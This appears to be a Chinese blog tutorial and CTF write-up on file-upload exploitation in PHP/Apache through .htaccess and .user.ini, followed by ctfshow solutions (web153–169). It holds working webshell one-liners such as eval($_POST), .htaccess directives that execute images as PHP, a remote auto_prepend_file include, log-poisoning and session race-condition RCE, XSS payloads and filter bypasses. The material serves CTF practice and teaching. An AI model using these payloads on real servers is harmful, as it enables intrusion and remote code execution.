文件上传
.htaccess
.htaccess文件(或者”分布式配置文件”),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
需要注意,.htaccess文件的作用域为其所在目录与其所有的子目录,若是子目录也存在.htaccess文件,则会覆盖父目录的.htaccess效果。
注意:**.htaccess 中有 #
单行注释符,且支持 \
拼接上下两行**
(1).htaccess参数
常见配法有以下几种:
1 | AddHandler php5-script .jpg //Addhandler 使用 php5-script 处理器来解析所匹配到的文件。 |
(2)auto_append_file参数
php.ini中有两项:
1 | auto_prepend_file 在页面顶部加载文件 |
使用这种方法可以不需要改动任何页面,当需要修改顶部或底部require文件时,只需要修改auto_prepend_file与auto_append_file的值即可。
在需要顶部或底部加载文件的文件夹中加入.htaccess文件,内容如下:
1 | php_value auto_prepend_file "/home/fdipzone/header.php" |
这样在指定.htaccess的文件夹内的页面文件才会加载 /home/fdipzone/header.php 与 /home/fdipzone/footer.php,其他页面文件不受影响。
(3) 查看所有访问本站的记录
这种方式利用了apache的服务器状态信息(默认关闭),可以查看所有访问本站的记录
可添加参数?refresh=n来实现每隔ns自动刷新
例如:127.0.0.1/server-status?refresh=5
1 | SetHandler server-status |
(4) 这种方法条件为apache加载了cgi_module,开启了fastcgi也是可以利用的
1 | Options +ExecCGI |
编辑1.xx(注意格式比较严格)
1 | #! /bin/bash |
(5) 这种方式可通过php_value来配置PHP的配置选项;另外php_flag name on|off用来设定布尔值的配置指令
由图可知,.htaccess可以使两种配置模式生效:PHP_INI_PREDIR和PHP_INI_ALL
可查看php.ini配置选项列表,从中寻找可利用的配置项
1 | (1)使用文件包含的两个相关配置 |
(6)禁用拒绝规则,使.htaccess可访问(默认情况下,.htaccess是不可访问的)
编辑.htaccess文件,添加如下配置
1 | <Files ~ "^.ht"> |
例如上面这个.htaccess文件,首先设置了禁用拒绝规则,这样便可直接访问到.htaccess;接着用SetHandler将所有文件作为php解析,最后写入php代码,开头用#注释掉,这样便可成功解析.htaccess,然后解析php
(7)**.htaccess在重定向中的利用**
1 | RewriteCond %{REQUEST_FILENAME} !-d |
1 | Tokyo Westerns / MMA CTF 2nd 2016应用 |
(8) 查看源码
我们可以通过 .htaccess 文件的 php_flag 指令对 PHP 的 engine 配置选项进行设定,当把 engine 的值设为 off(或 0)时可以禁用一个本目录和子目录中的 PHP 解析,此时将会造成源码泄露:
1 | php_flag engine 0 |
使用.htaccess设置,比较灵活,不需要重启服务器,也不需要管理员权限,唯一缺点是目录中每个被读取和被解释的文件每次都要进行处理,而不是在启动时处理一次,所以性能会有所降低。
一个 .htaccess文件示例
1 | AddType application/x-httpd-php .html |
远程文件包含
PHP 的 allow_url_include 配置选项这个选项默认是关闭的,如果开启的话就可以进行远程包含。因为 allow_url_include 的配置范围为 PHP_INI_SYSTEM,所以无法利用 php_flag 指令在 .htaccess 文件中开启。这里为了演示,就先在 php.ini 中设置 allow_url_include 为 On
.htaccess 文件中的设置为:
1 | php_value auto_prepend_file http://192.168.0.181/phpinfo.txt |
远程主机上的phpinfo.txt中的内容为:
1 | phpinfo(); |
这样,最终目标主机上的php文件都会包含这个远程主机上的 phpinfo.txt 并解析执行:
任意代码执行
通过 PHP 伪协议
这里主要用的还是 auto_prepend_file 或 auto_append_file 这两个配置项。
条件:
- allow_url_fopen 为 On
- allow_url_include 为 On
- 目标环境的当前目录中存在至少一个 PHP 文件
1 | php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ |
通过解析 .htaccess 文件
- 方法一:通过包含 .htaccess 自身
1 | php_value auto_append_file .htaccess |
即让所有的 PHP 文件都包含 .htaccess 文件自身:
- 方法二:直接将 .htaccess 文件当做 PHP文件处理
这种方法适合目标环境当前目录或子目录下没有 PHP 文件的情况下。
需要先在 .htaccess 里面设置允许访问 .htaccess 文件,否则是直接访问 .htaccess 文件是Forbidden的:
1 | <Files ~ "^.ht"> |
然后再设置将 .htaccess 指定当做 PHP 文件处理并解析:
1 | SetHandler application/x-httpd-php |
最终 .htaccess 文件里面的内容为:
1 | <Files ~ "^.ht"> |
然后我们直接访问 .htaccess 文件即可把 .htaccess 文件当做 PHP 文件处理并执行里面的 PHP 代码:
通过设置 highlight_file
我们可以通过 .htaccess 文件设定 highlight.comment 选项,指定需要高亮的内容,从而进行 XSS。
.htaccess中的内容
1 | php_value highlight.comment '"><script>alert(1);</script>' |
index.php中的内容为:
1 |
|
当访问index.php时便会触发 XSS:
通过错误消息链接
.htaccess 中的内容:
1 | php_flag display_errors 1 |
index.php 中的内容为:
1 |
|
当访问index.php时便会触发 XSS:
include_path
在题目的代码中有一处 include_once("fl3g.php");
,但是当我们访问fl3g.php文件时却发现该文件并不存在,这里便用到了php.ini中的include_path选项。
include_path可以用来设置include()或require()函数包含文件的参考目录路径,也就是说当使用include()或require()函数包含文件的时候,程序首先以include_path设置的路径作为参考点去找文件,如果找不到,则以程序自身所在的路径为参考点去找所要的文件,如果都找不到,则出错,那么我们就可以通过修改它来控制include的路径,那么如果我们能够在其它目录写入同名的fl3g.php让其包含,那么就能够getshell,并且可以使fl3g.php文件不被删除。
自定义错误文件(可写Webshell)
error_log 可以将 PHP 运行报错的记录写到指定文件中,因此我们可以通过 .htaccess 文件设定 error_log 选项来自定义错误文件的存储路径,并以此来写入Webshell:
1 | php_value error_log /var/www/html/shell.php |
index.php 中的内容为:
1 |
|
访问 index.php,会报错并记录在 shell.php 文件中:
如上图可见,成功将我们的phpinfo()写入了shell.php中,但是 <
等字符会经过 html 编码(如上图所示),所以我们需要用 UTF-7 编码格式来绕过。
Base64 编码绕过
主要就是利用 auto_append_file 和 PHP 伪协议,比如我们在一个图片中写入经过base64编码后的 Webshell,然后我们便可以使用 auto_append_file 配合 php://filter 将其包含进来:
1 | php_value auto_append_file "php://filter/convert.base64-decode/resource=images.png" |
我们直接使用data://协议也是可以的,这样就不需要上传 images.png 了:
1 | php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ |
UTF-7 编码格式绕过
这种方法我们在前文中已经涉及到了,比如我们在一个图片中写入 UTF-7 编码格式的 Webshell:
1 | // images.png |
然后我们使用 auto_append_file 将其包含进来并设置编码格式为 UTF-7 就行了:
1 | php_value auto_append_file images.png |
当然,也可以使用 php://filer 伪协议进行 UTF-7 与 UTF-8 之间的转换,即:
1 | php_value auto_append_file "php://filter/read=convert.iconv.utf-7.utf-8/resource=images.png" |
也可以使用 .htaccess 自身包含来执行 Webshell,这样就不需要再上传一个 images.png 了:
1 | php_value auto_append_file .htaccess |
同理,除了使用 UTF-7 外,UTF-16、UTF-32 都可以使用,方法都是一样的。
与.htaccess 相关的Bypass
与 .htaccess 相关限制除了使用黑名单限制 .htaccess 外,最常见的就是限制关键字以及加入脏字符啥的了。
绕过关键字过滤
绕过对关键字的过滤我们可以使用反斜杠 \
加换行来实现。比如题目过滤了 type、php 等敏感字符,此时为了利用 .htaccess 解析图片马,我们需要将 .htaccess 写成这样:
1 | AddTy\ |
绕过脏字符
上面的 [XNUCA2019Qualifier]EasyPHP 这道题目已经涉及到了。即有时候,题目会在我们上传或写入的文件中加入一个混乱的字符(脏字符),由于这些字符不是 .htaccess 文件的语法或指令,所以会使我们的.htaccess文件不生效,出现响应500的问题。为了时我们写入的 .htaccess 文件生效,我们要采用 #
对脏字符进行注释,或使用反斜杠 \
将换行符转义成普通字符。
绕过对上传图片的尺寸限制
有时候,在图片上传区会使用 getimagesize()
等函数对上传的图片进行尺寸限制,只允许上传指定大小尺寸的图片,并且会使用 exif_imagetype()
函数读取第一个字节并检查其图片类型。此时如果可以上传 .htaccess 来解析图片的话我们还需要让 .htaccess 的尺寸和经过 exif_imagetype()
检测后的结果符合题目要求。
我们可以使用 exif_imagetype()
函数支持的 WBMP 图像类型进行绕过。WBMP(Wireless Bitmap)是一种移动计算机设备使用的标准图像格式,是一种纯文本二进制图像格式的图片,实例如下:
1 | #define test_width 16 |
可以看到 WBMP 图像的开头可以使用 #
设置图像的尺寸大小,这正符合我们的要求。所以假设题目限制我们上传的图片尺寸必须为1337×1337,那么我们在上传.htaccess时便可以用 WBMP 来绕过,例如:
1 | #define width 1337 |
文件格式检测
如果使用exif_imagetype检测上传的文件的第一个字节来判断文件类型,那么只要是图像格式以 # 或 0x00 开头便可绕过
(1)使用XBM图像,使用PHP生成图像(需安装GD库)
(2)使用WBMP图像,使用PHP生成图像
(1)
1 | <?php |
那么可以在.htaccess前面加上:(1_png_width以及1_png_height是根据文件名进行拼接生成的)
那么可以在.htaccess前面加上:(1_png_width以及1_png_height是根据文件名进行拼接生成的)
1 | #define 1_png_width 120 |
便可绕过对文件格式的检测
(2)
1 | <?php |
session
若过滤了 <、数字、: 等,此时便不能使用php://filter或者UTF编码的方式绕过了;可尝试利用.htaccess设置包含指定的文件;例如对于session文件,可通过包含上传文件产生的临时session进行RCE
查看配置文件,发现大部分session相关的配置都是可以通过 .htaccess 修改的
那么我们可以在不知道session存储路径的情况下,通过session.save_path指定存储路径,并且可以将session.upload_progress.cleanup 设置为off,这样便可无需条件竞争来将代码写到session文件中,从而包含rce
.htaccess编写
1 | php_value auto_append_file "/tmp/sess_gtfly" |
然后运行
1 | import requests |
.user.ini
1 | php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。 |
配置文件内容:
1 | auto_prepend_file=filename //包含在文件头 |
为了利用auto_append_file,我们首先上传.user.ini内容为 auto_append_file=”xxx” xxx为我们上传的文件名,接着上传一个带木马的图片
因为upload有index.php,所以这个php就会添加一个include”shell.png”,就会包含到木马,这样就在每个php文件上包含了我们的木马文件。
文件内容:
1 | .user.ini |
ctfshow
web153
本题考察利用上传user.ini进行文件上传绕过
为了利用auto_append_file,我们首先上传一个带木马的图片,接着上传.user.ini内容为 auto_append_file=“xxx” xxx为我们上传的文件名。
这样就在每个php文件上包含了我们的木马文件。
木马上传成功
但是这种方式其实是有个前提的,因为.user.ini只对他同一目录下的文件起作用,也就是说,只有他同目录下有php文件才可以。
对于这个题,因为他upload目录下有个index.php所以这种方式是可以成功的。
web154 155
上传正常的图片马失败,经过测试发现是过滤的 <xphp 其中的x是任意字符
尝试使用短标签绕过
对于php的标签其他写法,我们这里多说几种
1、
1 | <? echo '123';?> |
前提是开启配置参数short_open_tags=on
2、
1 | <?=(表达式)?> 等价于 <?php echo (表达式)?> |
不需要开启参数设置
3、
1 | <% echo '123';%> |
前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。
4、
1 | <script language="php">echo '123';</script> |
不需要修改参数开关,但是只能在7.0以下可用。
对于该题,我们可用使用 =(表达式)?> 进行绕过,图片内容 =eval($_POST[1]);?>
剩下的步骤同153
web156
在前面的基础上过滤了 []
那我们直接用{}来代替
图片马内容
1 | <?=eval($_POST{1});?> |
web157 158
过滤了{}和分号,那就直接输出flag算了,不搞一句话了。摊牌了,反正知道flag位置
图片马内容
1 | <?=`tac ../f*`?> |
或者
1 | <?=system('tac ../f*')?> |
web159
过滤了括号,那就用反引号就可以啦
1 | <?=`tac ../f*`?> |
web160
这题在之前的基础上过滤了空格
先说第一种做法
Nginx日志的默认路径:
1 | /var/log/nginx/ |
先正常上传.user.ini文件(注意里面不要有空格),然后上传图片,图片内容为
1 | include"/var/lo"."g/nginx/access.lo"."g" (log被过滤) |
然后连接蚁剑
1 | url+upload/index.php |
或者将UA改为
1 | system('tac ../f*'); |
然后直接访问/upload/
第二种
还是先上传.user.ini,再上传图片,图片内容为
1 | include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp" |
然后直接访问/upload/,进行base64解码就行
web161
1 | getimagesize(): 会对目标文件的16进制去进行一个读取,去读取头几个字符串是不是符合图片的要求 |
这道题对图片的文件头进行了检测!
所以在上题的基础上都加个 GIF89a 图片头就可以了
.user.ini也得加,图片也得加,上题的两种方法都可以
web162 163
session文件包含
这题把 flag 和 . 给ban了,使用 seesion文件包含
首先正常上传.user.ini,内容如下
接着上传png
最后就开始条件竞争
1 | import requests |
web164
png二次渲染
1 | 二次渲染 |
详解链接:https://www.fujieace.com/penetration-test/upload-labs-pass-16.html
首先只能上传png文件,上传图片马,发现没有办法执行
在bp上发现图片中php代码没有了,猜测是进行了二次渲染
绕过二次渲染的png脚本:
1 |
|
运行该脚本即可生成一个图片文件1.png
上传该图片
查看图片并传入命令:
1 | &0=system |
使用ctrl+s将图片下载下来,记事本打开即可
web165
jpg二次渲染
绕过二次渲染的jpg脚本:
1 |
|
执行该脚本生成一个payload_a.jpg
在题中上传图片,上传成功后,查看图片,然后进行POST传参
1 | 1=system('tac f*'); |
web166
application/x-zip-compressed
查看源代码发现只能上传zip
那我们直接上传一句话就可以了
注意修改Content-Type为application/x-zip-compressed
然后直接文件包含就可以了
web167
.htaccess
开局一个提示
说明和apache有关,一开始以为是apache解析漏洞,然后上传a.php.xxx也没有被解析成php。
那应该是要利用.htaccess进行绕过了
首先上传.htaccess
方式1
1 | AddType application/x-httpd-php .png //将.png后缀的文件解析 成php |
方式2
1 | <FilesMatch "png"> |
PS:如果flag不是php文件,那么还可以像.user.ini一样在当前目录加载一个文件
1 | php_value auto_append_file 'flag' |
然后上传图片一句话
最后直接访问就可以了
web168
免杀
需要上传png文件
尝试上传一句话,发现返回为空
说明被过滤了
尝试后发现过滤了 eval system $_POST $_GET
等等
下面是另外的免杀代码:
1 | 脚本1: |
上传上面任意脚本,修改后缀,可以看到成功上传
蚁剑连接即可
web169
.user.ini 进行日志包含
需要上传zip文件,但zip的文件上传不上
后端检查了MIME,只能为image/png
所以抓包需要修改MIME type为image/png!!!!!!//注意改
发现可以成功上传
尝试之后发现也对文件内容进行了过滤:<>?空格$等等
但文件名可以修改为.user.ini和php
因为过滤,一句话上传不了,所以可以用 .user.ini 进行日志包含,即在UA头写入一句话
姿势: 先上传.user.ini文件,内容为 auto_append_file=/var/log/nginx/access.log
1 | auto_append_file=/var/log/nginx/access.log |
然后上传一个php文件
蚁剑连接即可